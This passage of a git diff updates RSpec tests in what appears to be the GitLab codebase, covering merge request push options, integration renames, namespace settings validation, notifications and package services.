@@ -104,9 +104,9 @@ RSpec.describe MergeRequests::HandleAssigneesChangeService do
context 'when execute_hooks option is set to true' do
let(:options) { { execute_hooks: true } }
- it 'execute hooks and services' do
+ it 'executes hooks and integrations' do
expect(merge_request.project).to receive(:execute_hooks).with(anything, :merge_request_hooks)
- expect(merge_request.project).to receive(:execute_services).with(anything, :merge_request_hooks)
+ expect(merge_request.project).to receive(:execute_integrations).with(anything, :merge_request_hooks)
expect(service).to receive(:enqueue_jira_connect_messages_for).with(merge_request)
execute
diff --git a/spec/services/merge_requests/merge_service_spec.rb b/spec/services/merge_requests/merge_service_spec.rb
index 503c0282bd6..b3af4d67896 100644
--- a/spec/services/merge_requests/merge_service_spec.rb
+++ b/spec/services/merge_requests/merge_service_spec.rb
@@ -163,14 +163,14 @@ RSpec.describe MergeRequests::MergeService do
context 'with Jira integration' do
include JiraServiceHelper
- let(:jira_tracker) { project.create_jira_service }
+ let(:jira_tracker) { project.create_jira_integration }
let(:jira_issue) { ExternalIssue.new('JIRA-123', project) }
let(:commit) { double('commit', safe_message: "Fixes #{jira_issue.to_reference}") }
before do
- stub_jira_service_test
+ stub_jira_integration_test
project.update!(has_external_issue_tracker: true)
- jira_service_settings
+ jira_integration_settings
stub_jira_urls(jira_issue.id)
allow(merge_request).to receive(:commits).and_return([commit])
end
diff --git a/spec/services/merge_requests/push_options_handler_service_spec.rb b/spec/services/merge_requests/push_options_handler_service_spec.rb
index 87c3fc6a2d8..5f76f6f5c44 100644
--- a/spec/services/merge_requests/push_options_handler_service_spec.rb
+++ b/spec/services/merge_requests/push_options_handler_service_spec.rb
@@ -5,11 +5,16 @@ require 'spec_helper'
RSpec.describe MergeRequests::PushOptionsHandlerService do
include ProjectForksHelper
- let_it_be(:project) { create(:project, :public, :repository) }
+ let_it_be(:parent_group) { create(:group, :public) }
+ let_it_be(:child_group) { create(:group, :public, parent: parent_group) }
+ let_it_be(:project) { create(:project, :public, :repository, group: child_group) }
let_it_be(:user1) { create(:user, developer_projects: [project]) }
let_it_be(:user2) { create(:user, developer_projects: [project]) }
let_it_be(:user3) { create(:user, developer_projects: [project]) }
let_it_be(:forked_project) { fork_project(project, user1, repository: true) }
+ let_it_be(:parent_group_milestone) { create(:milestone, group: parent_group, title: 'ParentGroupMilestone1.0') }
+ let_it_be(:child_group_milestone) { create(:milestone, group: child_group, title: 'ChildGroupMilestone1.0') }
+ let_it_be(:project_milestone) { create(:milestone, project: project, title: 'ProjectMilestone1.0') }
let(:service) { described_class.new(project: project, current_user: user1, changes: changes, push_options: push_options) }
let(:source_branch) { 'fix' }
@@ -59,6 +64,16 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
end
end
+ shared_examples_for 'a service that can set the milestone of a merge request' do
+ subject(:last_mr) { MergeRequest.last }
+
+ it 'sets the milestone' do
+ service.execute
+
+ expect(last_mr.milestone&.title).to eq(expected_milestone)
+ end
+ end
+
shared_examples_for 'a service that can set the merge request to merge when pipeline succeeds' do
subject(:last_mr) { MergeRequest.last }
@@ -514,6 +529,90 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
it_behaves_like 'with the project default branch'
end
+ describe '`milestone` push option' do
+ context 'with a valid milestone' do
+ let(:expected_milestone) { project_milestone.title }
+ let(:push_options) { { milestone: project_milestone.title } }
+
+ context 'with a new branch' do
+ let(:changes) { new_branch_changes }
+
+ it_behaves_like 'a service that does not create a merge request'
+
+ it 'adds an error to the service' do
+ service.execute
+
+ expect(service.errors).to include(error_mr_required)
+ end
+
+ context 'when coupled with the `create` push option' do
+ let(:push_options) { { create: true, milestone: project_milestone.title } }
+
+ it_behaves_like 'a service that can create a merge request'
+ it_behaves_like 'a service that can set the milestone of a merge request'
+ end
+ end
+
+ context 'with an existing branch but no open MR' do
+ let(:changes) { existing_branch_changes }
+
+ it_behaves_like 'a service that does not create a merge request'
+
+ it 'adds an error to the service' do
+ service.execute
+
+ expect(service.errors).to include(error_mr_required)
+ end
+
+ context 'when coupled with the `create` push option' do
+ let(:push_options) { { create: true, milestone: project_milestone.title } }
+
+ it_behaves_like 'a service that can create a merge request'
+ it_behaves_like 'a service that can set the milestone of a merge request'
+ end
+ end
+
+ context 'with an existing branch that has a merge request open' do
+ let(:changes) { existing_branch_changes }
+ let!(:merge_request) { create(:merge_request, source_project: project, source_branch: source_branch)}
+
+ it_behaves_like 'a service that does not create a merge request'
+ it_behaves_like 'a service that can set the milestone of a merge request'
+ end
+
+ it_behaves_like 'with a deleted branch'
+ it_behaves_like 'with the project default branch'
+ end
+
+ context 'with invalid milestone' do
+ let(:expected_milestone) { nil }
+ let(:changes) { new_branch_changes }
+ let(:push_options) { { create: true, milestone: 'invalid_milestone' } }
+
+ it_behaves_like 'a service that can set the milestone of a merge request'
+ end
+
+ context 'with an ancestor milestone' do
+ let(:changes) { existing_branch_changes }
+
+ context 'with immediate parent milestone' do
+ let(:push_options) { { create: true, milestone: child_group_milestone.title } }
+ let(:expected_milestone) { child_group_milestone.title }
+
+ it_behaves_like 'a service that can create a merge request'
+ it_behaves_like 'a service that can set the milestone of a merge request'
+ end
+
+ context 'with multi-level ancestor milestone' do
+ let(:push_options) { { create: true, milestone: parent_group_milestone.title } }
+ let(:expected_milestone) { parent_group_milestone.title }
+
+ it_behaves_like 'a service that can create a merge request'
+ it_behaves_like 'a service that can set the milestone of a merge request'
+ end
+ end
+ end
+
shared_examples 'with an existing branch that has a merge request open in foss' do
let(:changes) { existing_branch_changes }
let!(:merge_request) { create(:merge_request, source_project: project, source_branch: source_branch)}
diff --git a/spec/services/merge_requests/rebase_service_spec.rb b/spec/services/merge_requests/rebase_service_spec.rb
index a46f3cf6148..ca561376581 100644
--- a/spec/services/merge_requests/rebase_service_spec.rb
+++ b/spec/services/merge_requests/rebase_service_spec.rb
@@ -25,30 +25,6 @@ RSpec.describe MergeRequests::RebaseService do
end
describe '#execute' do
- context 'when another rebase is already in progress' do
- before do
- allow(repository).to receive(:rebase_in_progress?).with(merge_request.id).and_return(true)
- end
-
- it 'saves the error message' do
- service.execute(merge_request)
-
- expect(merge_request.reload.merge_error).to eq 'Rebase task canceled: Another rebase is already in progress'
- end
-
- it 'returns an error' do
- expect(service.execute(merge_request)).to match(status: :error,
- message: described_class::REBASE_ERROR)
- end
-
- it 'clears rebase_jid' do
- expect { service.execute(merge_request) }
- .to change { merge_request.rebase_jid }
- .from(rebase_jid)
- .to(nil)
- end
- end
-
shared_examples 'sequence of failure and success' do
it 'properly clears the error message' do
allow(repository).to receive(:gitaly_operation_client).and_raise('Something went wrong')
@@ -150,6 +126,13 @@ RSpec.describe MergeRequests::RebaseService do
it_behaves_like 'a service that can execute a successful rebase'
+ it 'clears rebase_jid' do
+ expect { service.execute(merge_request) }
+ .to change(merge_request, :rebase_jid)
+ .from(rebase_jid)
+ .to(nil)
+ end
+
context 'when skip_ci flag is set' do
let(:skip_ci) { true }
diff --git a/spec/services/metrics/dashboard/annotations/create_service_spec.rb b/spec/services/metrics/dashboard/annotations/create_service_spec.rb
index c3fe7238047..8f5484fcabe 100644
--- a/spec/services/metrics/dashboard/annotations/create_service_spec.rb
+++ b/spec/services/metrics/dashboard/annotations/create_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Metrics::Dashboard::Annotations::CreateService do
let_it_be(:user) { create(:user) }
+
let(:description) { 'test annotation' }
let(:dashboard_path) { 'config/prometheus/common_metrics.yml' }
let(:starting_at) { 15.minutes.ago }
diff --git a/spec/services/metrics/dashboard/gitlab_alert_embed_service_spec.rb b/spec/services/metrics/dashboard/gitlab_alert_embed_service_spec.rb
index d5928b1b5af..2905e4599f3 100644
--- a/spec/services/metrics/dashboard/gitlab_alert_embed_service_spec.rb
+++ b/spec/services/metrics/dashboard/gitlab_alert_embed_service_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe Metrics::Dashboard::GitlabAlertEmbedService do
let_it_be(:alert) { create(:prometheus_alert) }
let_it_be(:project) { alert.project }
let_it_be(:user) { create(:user) }
+
let(:alert_id) { alert.id }
before_all do
diff --git a/spec/services/metrics/users_starred_dashboards/create_service_spec.rb b/spec/services/metrics/users_starred_dashboards/create_service_spec.rb
index 910b556b8dd..1435e39e458 100644
--- a/spec/services/metrics/users_starred_dashboards/create_service_spec.rb
+++ b/spec/services/metrics/users_starred_dashboards/create_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Metrics::UsersStarredDashboards::CreateService do
let_it_be(:user) { create(:user) }
+
let(:dashboard_path) { 'config/prometheus/common_metrics.yml' }
let(:service_instance) { described_class.new(user, project, dashboard_path) }
let(:project) { create(:project) }
diff --git a/spec/services/namespace_settings/update_service_spec.rb b/spec/services/namespace_settings/update_service_spec.rb
index 8e176dbc6cd..e0f32cb3821 100644
--- a/spec/services/namespace_settings/update_service_spec.rb
+++ b/spec/services/namespace_settings/update_service_spec.rb
@@ -76,34 +76,61 @@ RSpec.describe NamespaceSettings::UpdateService do
end
end
- context "updating :prevent_sharing_groups_outside_hierarchy" do
- let(:settings) { { prevent_sharing_groups_outside_hierarchy: true } }
+ describe 'validating settings param for root group' do
+ using RSpec::Parameterized::TableSyntax
- context 'when user is a group owner' do
- before do
- group.add_owner(user)
- end
+ where(:setting_key, :setting_changes_from, :setting_changes_to) do
+ :prevent_sharing_groups_outside_hierarchy | false | true
+ :new_user_signups_cap | nil | 100
+ end
- it 'changes settings' do
- expect { service.execute }
- .to change { group.namespace_settings.prevent_sharing_groups_outside_hierarchy }
- .from(false).to(true)
+ with_them do
+ let(:settings) do
+ { setting_key => setting_changes_to }
end
- end
- context 'when user is not a group owner' do
- before do
- group.add_maintainer(user)
+ context 'when user is not a group owner' do
+ before do
+ group.add_maintainer(user)
+ end
+
+ it 'does not change settings' do
+ expect { service.execute }.not_to change { group.namespace_settings.public_send(setting_key) }
+ end
+
+ it 'returns the group owner error' do
+ service.execute
+
+ expect(group.namespace_settings.errors.messages[setting_key]).to include('can only be changed by a group admin.')
+ end
end
- it 'does not change settings' do
- expect { service.execute }.not_to change { group.namespace_settings.prevent_sharing_groups_outside_hierarchy }
+ context 'with a subgroup' do
+ let(:subgroup) { create(:group, parent: group) }
+
+ before do
+ group.add_owner(user)
+ end
+
+ it 'does not change settings' do
+ service = described_class.new(user, subgroup, settings)
+
+ expect { service.execute }.not_to change { group.namespace_settings.public_send(setting_key) }
+
+ expect(subgroup.namespace_settings.errors.messages[setting_key]).to include('only available on top-level groups.')
+ end
end
- it 'returns the group owner error' do
- service.execute
+ context 'when user is a group owner' do
+ before do
+ group.add_owner(user)
+ end
- expect(group.namespace_settings.errors.messages[:prevent_sharing_groups_outside_hierarchy]).to include('can only be changed by a group admin.')
+ it 'changes settings' do
+ expect { service.execute }
+ .to change { group.namespace_settings.public_send(setting_key) }
+ .from(setting_changes_from).to(setting_changes_to)
+ end
end
end
end
diff --git a/spec/services/namespaces/in_product_marketing_emails_service_spec.rb b/spec/services/namespaces/in_product_marketing_emails_service_spec.rb
index 2bf02e541f9..9d4fcf9ca64 100644
--- a/spec/services/namespaces/in_product_marketing_emails_service_spec.rb
+++ b/spec/services/namespaces/in_product_marketing_emails_service_spec.rb
@@ -11,7 +11,6 @@ RSpec.describe Namespaces::InProductMarketingEmailsService, '#execute' do
let(:frozen_time) { Time.zone.parse('23 Mar 2021 10:14:40 UTC') }
let(:previous_action_completed_at) { frozen_time - 2.days }
let(:current_action_completed_at) { nil }
- let(:experiment_enabled) { true }
let(:user_can_perform_current_track_action) { true }
let(:actions_completed) { { created_at: previous_action_completed_at, git_write_at: current_action_completed_at } }
@@ -22,7 +21,6 @@ RSpec.describe Namespaces::InProductMarketingEmailsService, '#execute' do
travel_to(frozen_time)
create(:onboarding_progress, namespace: group, **actions_completed)
group.add_developer(user)
- stub_experiment_for_subject(in_product_marketing_emails: experiment_enabled)
allow(Ability).to receive(:allowed?).with(user, anything, anything).and_return(user_can_perform_current_track_action)
allow(Notify).to receive(:in_product_marketing_email).and_return(double(deliver_later: nil))
end
@@ -85,50 +83,6 @@ RSpec.describe Namespaces::InProductMarketingEmailsService, '#execute' do
end
end
- describe 'experimentation' do
- context 'when on dotcom' do
- before do
- allow(::Gitlab).to receive(:com?).and_return(true)
- end
-
- context 'when the experiment is enabled' do
- it 'adds the group as an experiment subject in the experimental group' do
- expect(Experiment).to receive(:add_group)
- .with(:in_product_marketing_emails, variant: :experimental, group: group)
-
- execute_service
- end
- end
-
- context 'when the experiment is disabled' do
- let(:experiment_enabled) { false }
-
- it 'adds the group as an experiment subject in the control group' do
- expect(Experiment).to receive(:add_group)
- .with(:in_product_marketing_emails, variant: :control, group: group)
-
- execute_service
- end
-
- it { is_expected.not_to send_in_product_marketing_email }
- end
-
- context 'when not on dotcom' do
- before do
- allow(::Gitlab).to receive(:com?).and_return(false)
- end
-
- it 'does not add the group as an experiment subject' do
- expect(Experiment).not_to receive(:add_group)
-
- execute_service
- end
-
- it { is_expected.to send_in_product_marketing_email(user.id, group.id, :create, 0) }
- end
- end
- end
-
context 'when the previous track action is not yet completed' do
let(:previous_action_completed_at) { nil }
diff --git a/spec/services/notes/copy_service_spec.rb b/spec/services/notes/copy_service_spec.rb
index d9b6bafd7ff..dd11fa15ea8 100644
--- a/spec/services/notes/copy_service_spec.rb
+++ b/spec/services/notes/copy_service_spec.rb
@@ -16,6 +16,7 @@ RSpec.describe Notes::CopyService do
let_it_be(:group) { create(:group) }
let_it_be(:from_project) { create(:project, :public, group: group) }
let_it_be(:to_project) { create(:project, :public, group: group) }
+
let(:from_noteable) { create(:issue, project: from_project) }
let(:to_noteable) { create(:issue, project: to_project) }
diff --git a/spec/services/notes/create_service_spec.rb b/spec/services/notes/create_service_spec.rb
index 5b4d6188b66..6621ad1f294 100644
--- a/spec/services/notes/create_service_spec.rb
+++ b/spec/services/notes/create_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Notes::CreateService do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:user) { create(:user) }
+
let(:opts) do
{ note: 'Awesome comment', noteable_type: 'Issue', noteable_id: issue.id, confidential: true }
end
@@ -295,6 +296,7 @@ RSpec.describe Notes::CreateService do
context 'for merge requests' do
let_it_be(:merge_request) { create(:merge_request, source_project: project, labels: [bug_label]) }
+
let(:issuable) { merge_request }
let(:note_params) { opts.merge(noteable_type: 'MergeRequest', noteable_id: merge_request.id) }
let(:merge_request_quick_actions) do
diff --git a/spec/services/notes/destroy_service_spec.rb b/spec/services/notes/destroy_service_spec.rb
index eebbdcc33b8..55acdabef82 100644
--- a/spec/services/notes/destroy_service_spec.rb
+++ b/spec/services/notes/destroy_service_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Notes::DestroyService do
let_it_be(:project) { create(:project, :public) }
let_it_be(:issue) { create(:issue, project: project) }
+
let(:user) { issue.author }
describe '#execute' do
diff --git a/spec/services/notes/post_process_service_spec.rb b/spec/services/notes/post_process_service_spec.rb
index 07ef08d36c4..17001733c5b 100644
--- a/spec/services/notes/post_process_service_spec.rb
+++ b/spec/services/notes/post_process_service_spec.rb
@@ -21,7 +21,7 @@ RSpec.describe Notes::PostProcessService do
it do
expect(project).to receive(:execute_hooks)
- expect(project).to receive(:execute_services)
+ expect(project).to receive(:execute_integrations)
described_class.new(@note).execute
end
@@ -29,16 +29,16 @@ RSpec.describe Notes::PostProcessService do
context 'with a confidential issue' do
let(:issue) { create(:issue, :confidential, project: project) }
- it "doesn't call note hooks/services" do
+ it "doesn't call note hooks/integrations" do
expect(project).not_to receive(:execute_hooks).with(anything, :note_hooks)
- expect(project).not_to receive(:execute_services).with(anything, :note_hooks)
+ expect(project).not_to receive(:execute_integrations).with(anything, :note_hooks)
described_class.new(@note).execute
end
- it "calls confidential-note hooks/services" do
+ it "calls confidential-note hooks/integrations" do
expect(project).to receive(:execute_hooks).with(anything, :confidential_note_hooks)
- expect(project).to receive(:execute_services).with(anything, :confidential_note_hooks)
+ expect(project).to receive(:execute_integrations).with(anything, :confidential_note_hooks)
described_class.new(@note).execute
end
diff --git a/spec/services/notes/quick_actions_service_spec.rb b/spec/services/notes/quick_actions_service_spec.rb
index cb7d0163cac..0a56f01ebba 100644
--- a/spec/services/notes/quick_actions_service_spec.rb
+++ b/spec/services/notes/quick_actions_service_spec.rb
@@ -43,6 +43,7 @@ RSpec.describe Notes::QuickActionsService do
context '/relate' do
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:other_issue) { create(:issue, project: project) }
+
let(:note_text) { "/relate #{other_issue.to_reference}" }
let(:note) { create(:note_on_issue, noteable: issue, project: project, note: note_text) }
diff --git a/spec/services/notes/update_service_spec.rb b/spec/services/notes/update_service_spec.rb
index 000f3d26efa..71ac1641ca5 100644
--- a/spec/services/notes/update_service_spec.rb
+++ b/spec/services/notes/update_service_spec.rb
@@ -273,6 +273,7 @@ RSpec.describe Notes::UpdateService do
context 'for a personal snippet' do
let_it_be(:snippet) { create(:personal_snippet, :public) }
+
let(:note) { create(:note, project: nil, noteable: snippet, author: user, note: "Note on a snippet with reference #{issue.to_reference}" ) }
it 'does not create todos' do
diff --git a/spec/services/notification_service_spec.rb b/spec/services/notification_service_spec.rb
index c3a0766cb17..ac82e4c025f 100644
--- a/spec/services/notification_service_spec.rb
+++ b/spec/services/notification_service_spec.rb
@@ -361,6 +361,7 @@ RSpec.describe NotificationService, :mailer do
let_it_be_with_reload(:issue) { create(:issue, project: project, assignees: [assignee]) }
let_it_be(:mentioned_issue) { create(:issue, assignees: issue.assignees) }
let_it_be_with_reload(:author) { create(:user) }
+
let(:note) { create(:note_on_issue, author: author, noteable: issue, project_id: issue.project_id, note: '@mention referenced, @unsubscribed_mentioned and @outsider also') }
subject { notification.new_note(note) }
@@ -376,41 +377,31 @@ RSpec.describe NotificationService, :mailer do
let(:subject) { NotificationService.new }
let(:mailer) { double(deliver_later: true) }
+ let(:issue) { create(:issue, author: User.support_bot) }
+ let(:project) { issue.project }
+ let(:note) { create(:note, noteable: issue, project: project) }
- def should_email!
- expect(Notify).to receive(:service_desk_new_note_email)
- .with(issue.id, note.id, issue.external_author)
- end
+ shared_examples 'notification with exact metric events' do |number_of_events|
+ it 'adds metric event' do
+ metric_transaction = double('Gitlab::Metrics::WebTransaction', increment: true, observe: true)
+ allow(::Gitlab::Metrics::BackgroundTransaction).to receive(:current).and_return(metric_transaction)
+ expect(metric_transaction).to receive(:add_event).with(:service_desk_new_note_email).exactly(number_of_events).times
- def should_not_email!
- expect(Notify).not_to receive(:service_desk_new_note_email)
+ subject.new_note(note)
+ end
end
- def execute!
- subject.new_note(note)
- end
+ shared_examples 'no participants are notified' do
+ it 'does not send the email' do
+ expect(Notify).not_to receive(:service_desk_new_note_email)
- def self.it_should_email!
- it 'sends the email' do
- should_email!
- execute!
+ subject.new_note(note)
end
- end
- def self.it_should_not_email!
- it 'doesn\'t send the email' do
- should_not_email!
- execute!
- end
+ it_behaves_like 'notification with exact metric events', 0
end
- let(:issue) { create(:issue, author: User.support_bot) }
- let(:project) { issue.project }
- let(:note) { create(:note, noteable: issue, project: project) }
-
- context 'do not exist' do
- it_should_not_email!
- end
+ it_behaves_like 'no participants are notified'
context 'do exist and note not confidential' do
let!(:issue_email_participant) { issue.issue_email_participants.create!(email: 'service.desk@example.com') }
@@ -420,7 +411,14 @@ RSpec.describe NotificationService, :mailer do
project.update!(service_desk_enabled: true)
end
- it_should_email!
+ it 'sends the email' do
+ expect(Notify).to receive(:service_desk_new_note_email)
+ .with(issue.id, note.id, issue.external_author)
+
+ subject.new_note(note)
+ end
+
+ it_behaves_like 'notification with exact metric events', 1
end
context 'do exist and note is confidential' do
@@ -432,7 +430,7 @@ RSpec.describe NotificationService, :mailer do
project.update!(service_desk_enabled: true)
end
- it_should_not_email!
+ it_behaves_like 'no participants are notified'
end
end
@@ -644,6 +642,7 @@ RSpec.describe NotificationService, :mailer do
let_it_be(:issue) { create(:issue, project: project, assignees: [assignee]) }
let_it_be(:mentioned_issue) { create(:issue, assignees: issue.assignees) }
let_it_be(:author) { create(:user) }
+
let(:note) { create(:note_on_issue, author: author, noteable: issue, project_id: issue.project_id, note: '@all mentioned') }
before_all do
@@ -930,6 +929,10 @@ RSpec.describe NotificationService, :mailer do
end
context 'design management is disabled' do
+ before do
+ enable_design_management(false)
+ end
+
it 'does not notify anyone' do
notification.new_note(note)
@@ -2616,6 +2619,16 @@ RSpec.describe NotificationService, :mailer do
end
end
+ describe '#user_deactivated', :deliver_mails_inline do
+ let_it_be(:user) { create(:user) }
+
+ it 'sends the user an email' do
+ notification.user_deactivated(user.name, user.notification_email)
+
+ should_only_email(user)
+ end
+ end
+
describe 'GroupMember', :deliver_mails_inline do
let(:added_user) { create(:user) }
diff --git a/spec/services/packages/composer/create_package_service_spec.rb b/spec/services/packages/composer/create_package_service_spec.rb
index 526c7b4929b..553d58fdd86 100644
--- a/spec/services/packages/composer/create_package_service_spec.rb
+++ b/spec/services/packages/composer/create_package_service_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe Packages::Composer::CreatePackageService do
let_it_be(:json) { { name: package_name }.to_json }
let_it_be(:project) { create(:project, :custom_repo, files: { 'composer.json' => json } ) }
let_it_be(:user) { create(:user) }
+
let(:params) do
{
branch: branch,
diff --git a/spec/services/packages/conan/search_service_spec.rb b/spec/services/packages/conan/search_service_spec.rb
index 39d284ee088..55dcdfe646d 100644
--- a/spec/services/packages/conan/search_service_spec.rb
+++ b/spec/services/packages/conan/search_service_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Packages::Conan::SearchService do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, :public) }
+
let!(:conan_package) { create(:conan_package, project: project) }
let!(:conan_package2) { create(:conan_package, project: project) }
diff --git a/spec/services/packages/create_package_file_service_spec.rb b/spec/services/packages/create_package_file_service_spec.rb
index e4b4b15ebf9..2ff00ea8568 100644
--- a/spec/services/packages/create_package_file_service_spec.rb
+++ b/spec/services/packages/create_package_file_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Packages::CreatePackageFileService do
let_it_be(:package) { create(:maven_package) }
let_it_be(:user) { create(:user) }
+
let(:service) { described_class.new(package, params) }
describe '#execute' do
diff --git a/spec/services/packages/debian/find_or_create_package_service_spec.rb b/spec/services/packages/debian/find_or_create_package_service_spec.rb
index 3582b1f1dc3..f06f86b0146 100644
--- a/spec/services/packages/debian/find_or_create_package_service_spec.rb
+++ b/spec/services/packages/debian/find_or_create_package_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Packages::Debian::FindOrCreatePackageService do
let_it_be(:distribution) { create(:debian_project_distribution) }
let_it_be(:project) { distribution.project }
let_it_be(:user) { create(:user) }
+
let(:params) { { name: 'foo', version: '1.0+debian', distribution_name: distribution.codename } }
subject(:service) { described_class.new(project, user, params) }
diff --git a/spec/services/packages/destroy_package_service_spec.rb b/spec/services/packages/destroy_package_service_spec.rb
new file mode 100644
index 00000000000..92db8da968c
--- /dev/null
+++ b/spec/services/packages/destroy_package_service_spec.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Packages::DestroyPackageService do
+ let_it_be(:user) { create(:user) }
+
+ let!(:package) { create(:npm_package) }
+
+ describe '#execute' do
+ subject(:service) { described_class.new(container: package, current_user: user) }
+
+ context 'when the user is authorized' do
+ before do
+ package.project.add_maintainer(user)
+ end
+
+ context 'when the destroy is successfull' do
+ it 'destroy the package' do
+ expect(package).to receive(:sync_maven_metadata).and_call_original
+ expect { service.execute }.to change { Packages::Package.count }.by(-1)
+ end
+
+ it 'returns a success ServiceResponse' do
+ response = service.execute
+
+ expect(response).to be_a(ServiceResponse)
+ expect(response).to be_success
+ expect(response.message).to eq("Package was successfully deleted")
+ end
+ end
+
+ context 'when the destroy is not successful' do
+ before do
+ allow(package).to receive(:destroy!).and_raise(StandardError, "test")
+ end
+
+ it 'returns an error ServiceResponse' do
+ response = service.execute
+
+ expect(package).not_to receive(:sync_maven_metadata)
+ expect(response).to be_a(ServiceResponse)
+ expect(response).to be_error
+ expect(response.message).to eq("Failed to remove the package")
+ expect(response.status).to eq(:error)
+ end
+ end
+ end
+
+ context 'when the user is not authorized' do
+ it 'returns an error ServiceResponse' do
+ response = service.execute
+
+ expect(response).to be_a(ServiceResponse)
+ expect(response).to be_error
+ expect(response.message).to eq("You don't have access to this package")
+ expect(response.status).to eq(:error)
+ end
+ end
+ end
+end
diff --git a/spec/services/packages/maven/find_or_create_package_service_spec.rb b/spec/services/packages/maven/find_or_create_package_service_spec.rb
index 803371af4bf..d8b48af0121 100644
--- a/spec/services/packages/maven/find_or_create_package_service_spec.rb
+++ b/spec/services/packages/maven/find_or_create_package_service_spec.rb
@@ -91,6 +91,7 @@ RSpec.describe Packages::Maven::FindOrCreatePackageService do
context 'with a build' do
let_it_be(:pipeline) { create(:ci_pipeline, user: user) }
+
let(:build) { double('build', pipeline: pipeline) }
let(:params) { { path: param_path, file_name: file_name, build: build } }
@@ -103,6 +104,7 @@ RSpec.describe Packages::Maven::FindOrCreatePackageService do
let_it_be_with_refind(:package_settings) { create(:namespace_package_setting, :group, maven_duplicates_allowed: false) }
let_it_be_with_refind(:group) { package_settings.namespace }
let_it_be_with_refind(:project) { create(:project, group: group) }
+
let!(:existing_package) { create(:maven_package, name: path, version: version, project: project) }
it { expect { subject }.not_to change { project.package_files.count } }
diff --git a/spec/services/packages/nuget/metadata_extraction_service_spec.rb b/spec/services/packages/nuget/metadata_extraction_service_spec.rb
index 79428b58bd9..8eddd27f8a2 100644
--- a/spec/services/packages/nuget/metadata_extraction_service_spec.rb
+++ b/spec/services/packages/nuget/metadata_extraction_service_spec.rb
@@ -21,7 +21,8 @@ RSpec.describe Packages::Nuget::MetadataExtractionService do
version: '12.0.3'
}
],
- package_tags: []
+ package_tags: [],
+ package_types: []
}
it { is_expected.to eq(expected_metadata) }
@@ -47,6 +48,16 @@ RSpec.describe Packages::Nuget::MetadataExtractionService do
end
end
+ context 'with package types' do
+ let(:nuspec_filepath) { 'packages/nuget/with_package_types.nuspec' }
+
+ it { is_expected.to have_key(:package_types) }
+
+ it 'extracts package types' do
+ expect(subject[:package_types]).to include('SymbolsPackage')
+ end
+ end
+
context 'with a nuspec file with metadata' do
let(:nuspec_filepath) { 'packages/nuget/with_metadata.nuspec' }
diff --git a/spec/services/packages/nuget/search_service_spec.rb b/spec/services/packages/nuget/search_service_spec.rb
index 1838065c5be..66c91487a8f 100644
--- a/spec/services/packages/nuget/search_service_spec.rb
+++ b/spec/services/packages/nuget/search_service_spec.rb
@@ -13,6 +13,7 @@ RSpec.describe Packages::Nuget::SearchService do
let_it_be(:package_d) { create(:nuget_package, project: project, name: 'FooBarD') }
let_it_be(:other_package_a) { create(:nuget_package, name: 'DummyPackageA') }
let_it_be(:other_package_a) { create(:nuget_package, name: 'DummyPackageB') }
+
let(:search_term) { 'ummy' }
let(:per_page) { 5 }
let(:padding) { 0 }
diff --git a/spec/services/packages/nuget/update_package_from_metadata_service_spec.rb b/spec/services/packages/nuget/update_package_from_metadata_service_spec.rb
index ffe1a5b7646..328484c3e5a 100644
--- a/spec/services/packages/nuget/update_package_from_metadata_service_spec.rb
+++ b/spec/services/packages/nuget/update_package_from_metadata_service_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe Packages::Nuget::UpdatePackageFromMetadataService, :clean_gitlab_redis_shared_state do
include ExclusiveLeaseHelpers
- let(:package) { create(:nuget_package, :processing) }
+ let(:package) { create(:nuget_package, :processing, :with_symbol_package) }
let(:package_file) { package.package_files.first }
let(:service) { described_class.new(package_file) }
let(:package_name) { 'DummyProject.DummyPackage' }
@@ -201,6 +201,41 @@ RSpec.describe Packages::Nuget::UpdatePackageFromMetadataService, :clean_gitlab_
it_behaves_like 'raising an', ::Packages::Nuget::MetadataExtractionService::ExtractionError
end
+ context 'with a symbol package' do
+ let(:package_file) { package.package_files.last }
+ let(:package_file_name) { 'dummyproject.dummypackage.1.0.0.snupkg' }
+
+ context 'with no existing package' do
+ let(:package_id) { package.id }
+
+ it_behaves_like 'raising an', ::Packages::Nuget::UpdatePackageFromMetadataService::InvalidMetadataError
+ end
+
+ context 'with existing package' do
+ let!(:existing_package) { create(:nuget_package, project: package.project, name: package_name, version: package_version) }
+ let(:package_id) { existing_package.id }
+
+ it 'link existing package and updates package file', :aggregate_failures do
+ expect(service).to receive(:try_obtain_lease).and_call_original
+ expect(::Packages::Nuget::SyncMetadatumService).not_to receive(:new)
+ expect(::Packages::UpdateTagsService).not_to receive(:new)
+
+ expect { subject }
+ .to change { ::Packages::Package.count }.by(-1)
+ .and change { Packages::Dependency.count }.by(0)
+ .and change { Packages::DependencyLink.count }.by(0)
+ .and change { Packages::Nuget::DependencyLinkMetadatum.count }.by(0)
+ .and change { ::Packages::Nuget::Metadatum.count }.by(0)
+ expect(package_file.reload.file_name).to eq(package_file_name)
+ expect(package_file.package).to eq(existing_package)
+ end
+
+ it_behaves_like 'taking the lease'
+
+ it_behaves_like 'not updating the package if the lease is taken'
+ end
+ end
+
context 'with an invalid package name' do
invalid_names = [
'',
diff --git a/spec/services/packages/rubygems/dependency_resolver_service_spec.rb b/spec/services/packages/rubygems/dependency_resolver_service_spec.rb
index 78abfc96ed5..f23ed0e5fbc 100644
--- a/spec/services/packages/rubygems/dependency_resolver_service_spec.rb
+++ b/spec/services/packages/rubygems/dependency_resolver_service_spec.rb
@@ -5,6 +5,7 @@ RSpec.describe Packages::Rubygems::DependencyResolverService do
let_it_be(:project) { create(:project, :private) }
